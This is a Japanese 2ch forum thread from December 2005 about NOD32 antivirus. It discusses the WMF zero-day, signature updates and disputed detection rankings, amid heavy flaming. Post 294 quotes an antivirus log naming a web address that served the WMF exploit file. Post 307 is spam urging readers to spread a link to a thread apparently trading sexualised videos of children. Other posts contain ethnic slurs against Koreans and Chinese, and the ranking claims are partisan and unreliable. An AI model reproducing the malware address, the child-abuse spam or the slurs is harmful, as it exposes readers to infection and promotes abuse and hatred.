188 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 01:24:28 ]: なんか画像ビューワにIfanView関連付けてるんだけど
それがまずいみたい。txtとかZipにしてみたら起動しなくなった。
189 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 01:37:15 ]: 検体をZip圧縮してjottiへUPしておいたから、他のアンチウィルスメーカーも直に対応するだろう。
190 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 01:40:13 ]: 乙です
191 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:19:48 ]: 　　　　　　　/つ_∧
　　/つ_,∧ 〈（　ﾟдﾟ）
　　|（　ﾟдﾟ）ヽ ⊂ニ)
　　ヽ__と/￣￣￣/ |
　￣＼/＿＿＿/
192 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:20:02 ]: やっぱIfanViewの関連付け外してもあまり意味なかった。
他のでも右クリプロパティすると起動するし
選択状態でマウス上にしばらく乗せてるとサイズの表示が出る
ツールチップが表示されるとそれに連動して起動してしまう。
MSが対応して根本的に解決するまでで怪しいファイルとか踏まないほうがよさそう。
193 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:24:17 ]: >>168
> あれ？新種のウイルスをスルーしてるのはスルーですか？ｗｗｗ

それウィルスじゃないよ。
MSのコンポーネントに未知の脆弱性があるという話な。
この脆弱性を使ってウィルスも作れるからアンチウィルスメーカー各社が
この脆弱性を使用したコードに対するシグネチャを配布しているということな。

こんなのはヒューリスティックエンジンで検知出来るものじゃない。
もちろん、実際にこの脆弱性を使用したウィルスが出現した場合は、ヒューリスティックエンジンで検知される可能性は大きい。
194 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:41:21 ]: >>193

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
195 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:48:40 ]: 下記は、NOD32スレに昔から住み着いている荒らしなので放置宜しく。

>>161
>>168
>>179
>>194
196 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:51:43 ]: >>195

フシアナしないのは何故？

【軽快動作】NOD32【アンチウイルスソフト】
pc8.2ch.net/test/read.cgi/sec/1112351342/
482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp　投稿日：2005/04/25(月) 10:45:08
緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。
197 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:58:42 ]: ↑フシアナしないのは何故？
198 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 02:59:00 ]: >>195
マッチ＆ポンプ乙。
ぜんぶスレ主の投稿だろ（ｗ
199 名前：198 mailto:sage [2005/12/29(木) 03:03:28 ]: 誤スレ主
正レス主
200 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 03:07:47 ]: スレ主であってるじゃん。
201 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 03:08:57 ]: あの節穴宣言はいったいなんだったんだろうね。
その後節穴してるのを見たことがない。
202 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 03:10:23 ]: だってZ音だし
203 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 03:10:29 ]: >>199は偽もん（ｗ
>>200
マッチ＆ポンプ乙。
204 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/29(木) 03:11:59 ]: >>202
確かにｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
205 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 03:22:57 ]: 連休入るとこんな時間でも人いるわｗ
206 名前：公務員も休みでし [2005/12/29(木) 03:29:11 ]: これＮＯＤ32いいね
207 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 03:49:57 ]: 834 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2005/12/29(木) 03:19:06
www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF
>NOD32 はウィルス定義ファイル1.1342 (20051228) で
>Win32/TrojanDownloader.Wmfex トロイとして対応されたようです。
>水野さん情報ありがとうございます。

Z音の本名？（；＾ω＾）
208 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 04:04:26 ]: > ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF
>Trojan programs exploiting the latest Windows vulnerability (Kaspersky)
> www.kaspersky.com/news?id=176708581

kasperskyもリリース済みと書かれているが2005/11/29 2:51:01のリリース適用後でも>>183を検知できていないな。
サンプルが違うと微妙に検知されないのかな。
209 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 05:29:11 ]: ﾏﾀｷﾀｺﾚ
1.1343 (20051228)
210 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/29(木) 12:38:02 ]: またって言うほどの頻度じゃないよなｗｗｗｗ
211 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 12:43:41 ]: なるほど、ここは信者とｱﾝﾁが同居するスレなのか。
ツマンネ
212 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 12:57:55 ]: >>211
じゃあ来るなよ馬鹿
213 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/29(木) 14:07:19 ]: NODってマンセーされてるのここだけじゃん
後はどこに行っても軒並み評判が悪い
それが現実なんだろうな
特に企業レベルでの評判が悪いね
214 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:08:58 ]: 昔どっかに書いてあったネットワークプリンタのことぐらいじゃね
他にもあるの？
215 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:11:22 ]: え？
ネットワークプリンタの使用にも支障がでるの！？
それは酷いなぁ
216 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 14:13:02 ]: >>215
常駐しててるくせに…
217 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:16:19 ]: アンチのひとって心の病気なの？
218 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:19:55 ]: 相変わらずレスが早いですねｗｗｗｗｗｗｗｗ
219 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:22:51 ]: >>217
本来、生まれてきてはいけない子なの。
顔が見えないからって、一般人が満足してるｿﾌﾄにｹﾁ付けて一生が終わる。

誰にも本気で愛されずに。

虫に生まれてりゃ良かったのにな。

金払って買うとさ、ｱｯﾌﾟﾃﾞｰﾄ頻繁にしてくれると嬉しいな。
220 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:32:30 ]: >>219
それは他ソフトにも言えることだろうが
だったら　　
　　他　　ス　　レ　　を　　荒　　ら　　す　　の　　は　　や　　め　　れ　　！
221 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:38:39 ]: >>220
NOD厨はいつもそうですよね。
自分のことは棚に上げて他人の批判ばかり・・・。
他ソフトはどれだけ非難しても許されてNOD批判は一切NG・・・。
こんなのって変ですよね。
222 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:38:52 ]: 今度は被害妄想ですか
自分を批判する人はみんな敵なんですね
223 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 14:44:20 ]: >>222
被害妄想もなにも現にこのスレの馬鹿が他スレを荒らしたことがあったろ！
224 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:53:42 ]: ﾐｽﾞﾉ

ｱｷﾋﾛ♪
225 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 14:55:50 ]: ※トロイ注意※

音声ファイル変換ソフト「Vocal Cancel」が、「トロイの木馬（TROJ_HIROFU.A）」であると確認された。
ttp://www.vector.co.jp/info/050704_vocal_cancel.html

※現時点で対応しているアンチウイルス製品
ウイルスバスター（最速で対応）
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_HIROFU.A&VSect=T
ノートン（手動アップデートでやっと対応）
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-trojan.hirofu.html

・NOD32は未対応。
226 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 14:58:04 ]: >>225はスレ主ｗ
荒し自演乙。(・∀・)ﾆﾔﾆﾔ
227 名前：368　エナメルハイレグフェチ [2005/12/29(木) 15:00:40 ]: ＞＞712
しかし俺の県庁じゃあんまりかわいいこいねぇな
（少なくとも俺のフロアじゃｗ）
228 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:10:34 ]: >>213
まるでおまいの評判のようだなｗ
229 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:12:58 ]: >>225=被害者面したくなると、自分で荒しはじめるNOD厨（ｗ
tmp5.2ch.net/test/read.cgi/tubo/1130566010/116
230 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:13:56 ]: >>225
7月のかよw
231 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:14:28 ]: NODは本スレで罵り合いストレスを発散し、他スレでNODの有効性について話し合う進化したスレなのだ
232 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:16:11 ]: >>230
自分で貼ったものに突っ込み乙、NOD厨ｗ
233 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:21:41 ]: > NODってマンセーされてるのここだけじゃん
> 後はどこに行っても軒並み評判が悪い
> それが現実なんだろうな
> 特に企業レベルでの評判が悪いね

あれ？
NOD32の評判が悪い？
嘘だろ、良い評判は幾らでもあるけど、悪い評判はあまり見ないなぁ。
たまに、間違った測定結果を載せてNOD32は評判程の性能ではないとするサイトや雑誌もあるけど
間違いを指摘されて詫びているのが実情だよん。
234 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:24:14 ]: >>225
NOD32も対応済みだよw
235 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:29:01 ]: >>233の例な

全ての始まりはこの記事。
> ttp://files.malwareblog.com/EJohansen_VB2005.pdf
この記事を書いたライター(本編ではハンドルネーム=IlyaOS)

アンチウィルスソフトの開封性能比較（本編）
> ttp://www.wilderssecurity.com/showthread.php?t=106264

書庫と一口に言っても色々な種類がある、圧縮されてはいるがそのまま実行可能な書庫はアンチウィルスソフトに
とって脅威そのもの、NOD32が優秀なのはこの脅威を高度な技術で対応しているから。
本編に登場するライターは、自身の比較試験でNOD32は役立たずと断言した。
その結末は如何に？

尚、投稿者の殆どが技術者や比較試験サイト運営者である。
いわゆる、事情通である。
236 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:35:07 ]: pc8.2ch.net/test/read.cgi/sec/1133372382/
ネット関係 [セキュリティ]　“NOD32アンチウィルス Part25”

493 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/07(水) 17:50:25
最高に面白い読み物を紹介。

全ての始まりはこの記事。
> ttp://files.malwareblog.com/EJohansen_VB2005.pdf
この記事を書いたライター(本編ではハンドルネーム=IlyaOS)

アンチウィルスソフトの開封性能比較（本編）
> ttp://www.wilderssecurity.com/showthread.php?t=106264

書庫と一口に言っても色々な種類がある、圧縮されてはいるがそのまま実行可能な書庫はアンチウィルスソフトに
とって脅威そのもの、NOD32が優秀なのはこの脅威を高度な技術で対応しているから。
本編に登場するライターは、自身の比較試験でNOD32は役立たずと断言した。
その結末は如何に？

尚、投稿者の殆どが技術者や比較試験サイト運営者である。
いわゆる、事情通である。

495 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/07(水) 19:34:26
>>493
海外でもアンチがいて、捏造データつくって釣りしてるんだな。
アカBANされてるのがｳｹﾙｗ
237 名前：235 mailto:sage [2005/12/29(木) 15:41:09 ]: pdfが無くなっているな。
かわりに、その記事を扱っているサイトのURL張っとくよ。

このライターは、その記事を書いているとき本気でNOD32はダメダメだと思っていて、
「計測結果に間違いはなく、測定者もIBMの技術者が行っているから正確だ」と言っていた。
ところが、その技術者もアンチウィルスについてはド素人だし、ライターもド素人。
結局、NOD32の測定では、UPX圧縮書庫類を全て検知しないモードでテストしていたことが本編で明らかになる。
間違った測定結果を掲げて堂々とNOD32を批難していたわけだ。
もう、笑うしかない。

> ttp://www.anti-malware.ru/index.phtml?part=compare&anid=packs
238 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:43:49 ]: 結局NODは性能的にはお薦めということでいいんだよね？
239 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:48:37 ]: >>238
テンプレ >>4-5　みりゃ分かるだろ？
基本性能で最高なのがNOD32、他のいかなるアンチウィルスソフトも基本性能ではNOD32に敵わない。
これは事実であり、専門家もそれを認めている。
240 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:52:31 ]: なかなか褒め殺しが成功しませんね。
241 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:53:22 ]: 事実だから褒め殺しになっていないわなw
242 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 15:57:29 ]: 評価基準を基本性能以外に求めるとNOD32は必ずしも最高とは言えなくなる。

基本性能以外の評価基準として

1)素人に扱い易い
2)対応書庫の多さ
3)価格
4)デザイン
5)付加機能の充実

これ等を加味すると、各自の好みにより評価は割れる。
243 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:00:28 ]: 160 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/29(木) 01:26:35
【使用OS】winXPproSP2
【WindowsUpdateしてるか】最新
【AntiVirusは何を使っているか】NOD32
【ちゃんとUpdateしてるか】してます
【スキャンした結果（ウイルス名・発見場所）】なしとでたけど、下のがロックされてるみたい。
C:\pagefile.sys - ファイルを開く時にエラーが発生しました (ファイルはロックされています) [4]
C:\WINDOWS\system32\drivers\dtscsi.sys
C:\WINDOWS\system32\drivers\sptd.sys
C:\WINDOWS\system32\drivers\sptd4685.sys

【別のオンラインスキャンしたならその結果は】してない。
【症状を具体的に、分かる限りすべて書く】
デスクトップにあるフォルダにあるアプリケーションの実行ファイルが勝手に消えている。
Program Filesの中のは消えてないみたい
【何をしたらそんなことになったのか】
気づいたら、実行ファイルが消えてて気のせいだと思っていたけど、
確認したら、いくつも消えていて、入れなおしたファイルも消えてたから、
これはウイルスかなと思い、聞いてみました。
【これまでにとった措置】
どうすればいいかわからないので、別に何もしてないけど・・・心配。

NOD入れてても無駄でしたwww
244 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 16:02:12 ]: トロイに対する検出力評価

1位　AhnLab V3 Pro
2位　Webroot
3位　LANDesk
4位　Sunbelt
5位　SurfControl
6位　McAfee
7位　Trend Micro
8位　eTrust
9位　NOD32 v2.5
245 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:03:39 ]: >>244
それどこの試験結果？
検体や試験方法に問題があるのだろうな。
246 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:09:40 ]: トロイに対する検出力評価で比較的に信頼できる結果。
NOD32はインストーラ型をオンデマンドでは検知しない(オンアクセスで検知する)から、若干不利な結果に
なってはいるが、>>244よりずっと良い成績が残っている。

> ttp://www.av-comparatives.org/seiten/ergebnisse/report07.pdf
247 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:18:00 ]: >>246
不自然なほど急にミスが減ってるね。
248 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 16:20:53 ]: ＮＯＤ32買おうと思ったけど1位　AhnLab V3 Pro 買うわ
これ本当？
249 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:22:58 ]: >>244
NOD[が、トップでないとおかしいだろ
データの改竄決定　！
250 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:24:23 ]: >>248
安哲秀研究所（韓国）
251 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:24:45 ]: トップ１０って点数で言うと９０点以上とかのハイレベルな争いなの？
252 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:28:49 ]: >>250
それ???研究所って読むの？
253 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:39:59 ]: >>251
なんか教授の好みってかんじの意味不明な争いだよ
254 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 16:53:10 ]: NOD32定義ファイル: 1.1342 (20051228)
Win32/TrojanDownloader.Wmfex

今回の脆弱性にも早速対応してるんだな。
やはりNODを購入して正解だったな。
255 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/29(木) 17:08:44 ]: 別にNODが特別早かったわけでもないのにｗｗｗｗｗｗｗｗｗｗｗｗｗ
256 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:12:31 ]: つっこみに無理が生じてますね。
257 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:35:37 ]: NODを購入して正解だったとか書き込みの内容が気持ち悪いんだよ
意図がわかんねえし
258 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:37:02 ]: >>257
きんもー☆
259 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:39:22 ]: >>257
きんもーっ☆
260 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:42:41 ]: アンチＮＯＤの人は、ＮＯＤ信者だけが問題で、ＮＯＤ自身は他の有名
ソフトと比べて悪くはないという考えでつか？
261 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:44:38 ]: >>259
お前自分がキモイって自覚した方がいいよ。
262 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:45:42 ]: >>261
きんもーっ☆
263 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:46:15 ]: >>263
きんもーっ☆
264 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:46:20 ]: きんもーっ☆
265 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:46:47 ]: >>260
信者以外に単に頭のおかしい人もいるけどね。
ソフトが悪いとかはないだろう、さすがに。
266 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:47:09 ]: すももーっ☆
267 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:47:48 ]: >>267
すっげーきんもーっ☆
268 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:48:36 ]: NOD買わない奴は徐々に禿げてくるよ。
269 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:48:41 ]: まりもーっ☆
270 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:52:11 ]: 別に買わなくても使えるけどね。
271 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 17:55:11 ]: アンチと信者はじゃれあって遊んでるだけだろ
272 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 18:09:04 ]: 88 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/12/28(水) 04:05:14 ID:9DRHWQiY0
ちょっとやばいソフト

>NOD32　主なトラブル履歴
>
>2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
>canon-sol.jp/product/nd/nd_update.html
>レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
>登録済みのアプリケーションが強制削除される問題
>canon-sol.jp/product/nd/v20008.html
>通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
>canon-sol.jp/supp/nd/wndt4210.html
>スキャンすると受信メールの全部が削除される問題
>canon-sol.jp/supp/nd/wndt7003.html
>プリンタとの相性で印刷不能になる問題。
>canon-sol.jp/supp/nd/wndt4205.html
>Windowsアップデートができなくなる問題
>canon-sol.jp/supp/nd/wndt4212.html

90 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/12/28(水) 06:35:33 ID:4wL+LObB0
>>88
ソフト自体がウィルスだね。

某社工作員による書き込み
273 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 18:12:52 ]: NODはほんと良く出来てるから某社社員は気が気じゃないんだよね
274 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 18:27:19 ]: ＮＯＤって、アメリカだとシェア何位？
275 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 18:39:59 ]: >>247
> 不自然なほど急にミスが減ってるね。

IBKが必死に検体のクリーン化を実施した結果だよ。
検体総数が増えているのは新しい検体が増えていることによる。

つまり古い結果でKasperskyだけが凄く良い成績であったのは、過去に無害なゴミに対してシグネチャを作り
そのことでゴミがウィルスと認定され集めた検体に紛れ込んでいたってことな。
IBKの話だと、まだまだゴミが紛れているらしい。
276 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 18:46:41 ]: NODかわいいよNOD
277 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 18:59:14 ]: どの辺がでつか？
278 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 19:00:59 ]: NODがトラブルもなく安定してるから、質問者もなく来るのは嵐だけ。
先生スレとは大違い。
279 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 19:01:43 ]: 目かな？
あと、ド素人がいい加減に設定値を弄ると痛い目に合うところなんて最高。
280 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 19:19:09 ]: ＞いい加減に設定値を弄ると痛い目に合うところなんて
そんな話どこで聞いた？でっちあげするヤツは朝鮮人と同類
281 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 19:47:49 ]: AMONオフにするくらいしか痛い目に遭う設定が思い浮かばないんだが
そんなのNAVでもいっしょじゃん
批判するのはいいけど適当な事言うな
282 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 19:56:50 ]: >>279は中華人だろ
283 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 20:00:52 ]: 旧御三家（過去の栄光）
　マカフィー
　ノー豚
　バスター

新御三家
　NOD32
　キングソフト
　ウイルスキラー（北斗とキティーのみ。無印は非対象）

アンチウイルス・マニア派（チョイ拘りすぎる奴ら）
　カスペルスキー
284 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 20:05:25 ]: >>283
新の選定理由は？
285 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 20:06:28 ]: regf3qgt54rt54g
286 名前：ミズノ　アキヒロ mailto:sage [2005/12/29(木) 20:10:25 ]: >>283
そんなとこだろ。おｋ－。
287 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 20:12:02 ]: >>285
何それ？何のコード？
288 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 20:38:50 ]: アンチウィルス・アンチスパイ・ＦＷの最強の組み合わせは？
289 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 20:44:32 ]: F-Secure ＋　Kerio
290 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 20:52:42 ]: NOD32　+Ad-Aware SE、Spybot、SpywareBlaster　+ZoneAlarm、が最強。
ZAが重く感じるようならそれはマシン買い替えのシグナル。
291 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:01:14 ]: 機能的にZA如きが最強か？
OutpostPROの方が上な様な。
292 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:04:54 ]: >>288
nod pp zapro
293 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:16:20 ]: ありがとう
294 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:26:11 ]: IMON ファイル kikuz0u.x0.com/wmf_exp.wmf Win32/TrojanDownloader.Wmfex トロイ切断されました

NOD32定義ファイル: 1.1342 (20051228)
Win32/TrojanDownloader.Wmfex
295 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:29:32 ]: さすが。頼もしい味方だ
296 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 21:46:23 ]: ヒューリテッィクの機能はnodとカスペどっちが上なの？？
297 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:47:00 ]: そんなにええのか。
298 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:52:14 ]: >>296
おちつけ。
299 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 21:58:05 ]: >>296
比べてやるな。
300 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 22:02:35 ]: 相変わらずあれてんなぁｗ
もっとスパイウェア対策を強化しろや。
301 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 22:19:11 ]: >>300
そんなあなたに、ＰＰ
302 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 22:26:32 ]: >>301
polypropylene ?
ま、車のバンパーなんかに使われてる汎用樹脂だけど
特別な機能はなかったんじゃないかなぁ。。。
あと、銅を接触させたらあかんで
銅害って言って劣化が加速されるから
303 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 22:30:14 ]: 183ってIEオプションを高にしてると関係ないの？
304 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 22:34:55 ]: >>302
大人をからかっちゃいけないよ。
じゃあ、おらあ、また旅に出るからね。
おっと、そうだ。
このサイフとっとけ。いいって、遠慮はいらねーよ。
中身見たら、あまりの額に目まわしてビックル飲みまくらねーでおくれよ。
305 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 22:36:19 ]: >>303
関係ある
306 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 22:37:06 ]: >>304
子供銀行券が入ってたお
307 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 23:10:50 ]: ﾏﾀｰﾘと炉動画をうｐするスレ 36タリー
sakura01.bbspink.com/test/read.cgi/ascii/1135159579/

ただいまうｐ野郎降臨中
レス番778～
急げ！

↑↑↑
さあ、あなたの行きつけのスレに貼りにいってください。
308 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 01:37:59 ]: トロイに対する検出力評価

1位　AhnLab V3 Pro
2位　Webroot
3位　LANDesk
4位　Sunbelt
5位　SurfControl
6位　McAfee
7位　Trend Micro
8位　eTrust
9位　NOD32 v2.5
309 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 02:16:19 ]: >>243
それウィルスの感染を疑う以前の問題だと思う。
310 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 02:27:51 ]: いわゆるネタにマジレスだと思う
311 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 11:18:00 ]: >>308
トップ10入りか。バランスとれまくってるね。
312 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 15:27:41 ]: というか、Webrootが2位であることを見てもトロイに対する検出性能ではなく、スパイウェアのそれだろ。
NOD32がアンチウィルスに特化していることと、オンデマンドでの検出で不利なことを加味すれば9位は
良い結果と言えるな。
313 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 15:39:10 ]: 別に良くはないだろ・・・
314 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 15:46:46 ]: NOD32のホームページ見れば分かるとおり、アンチウィルスに特化したソフトじゃないだろ。
Real-time protection against viruses, spyware, adware, and identity theft.
315 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 15:50:14 ]: V3がトップに来るような評価は信憑性低いからどうでもいいよ
316 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 15:52:20 ]: スパイウェアに対応したアンチウィルスソフトというのが適切な表現だろ。
スパイウェア専門のソフトとの違いは過敏ではないこと。
些細なものは感知しない。
些細なものまで感知する必要があるのなら専門ソフトとの併用をお薦めするよ。
317 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:24:10 ]: 死死死死死▼死死死死死死死死▼▼▼鬱死死死死死死死死
死死死死死■■▼鬱死死死死死▼■▼鬱死死死死死死死死
死死死死▼■■鬱死死死死死死■■▼鬱死死死死死死死死
死死死▼■■▼鬱死死死死死▼■■▼▼▼▼■■▼鬱鬱死
死死死■■■鬱鬱▼▼死死死▼■■■■■■■■■▼鬱死
死▼▼■■▼鬱▼■■▼鬱▼■■▼▼▼▼▼■■■鬱鬱死
▼■■■■▼▼■■▼鬱鬱▼■■■鬱鬱鬱▼■■▼鬱死死
▼■■■■▼▼■▼鬱鬱▼■■▼■▼死▼■■■鬱鬱死死
死▼■■■■■■▼鬱▼■■▼▼■■▼■■■▼鬱死死死
死死▼■■■■▼▼鬱▼■▼鬱鬱▼■■■■▼鬱鬱死死死
死死死▼■■▼▼■▼鬱▼鬱死死鬱▼■■■鬱鬱死死死死
死死死▼■■鬱鬱■■▼鬱死死死死▼■■▼▼鬱死死死死
▼▼▼■■■▼■■■■▼死死▼▼■■■■■▼鬱鬱鬱死
■■■■■■■■▼■■▼▼■■■■▼■■■■■■▼▼
■■▼▼▼■■鬱鬱▼▼■■■■▼▼鬱鬱▼■■■■■▼
▼▼▼鬱鬱■■鬱▼▼▼■■■▼▼■▼▼▼▼■■■■▼
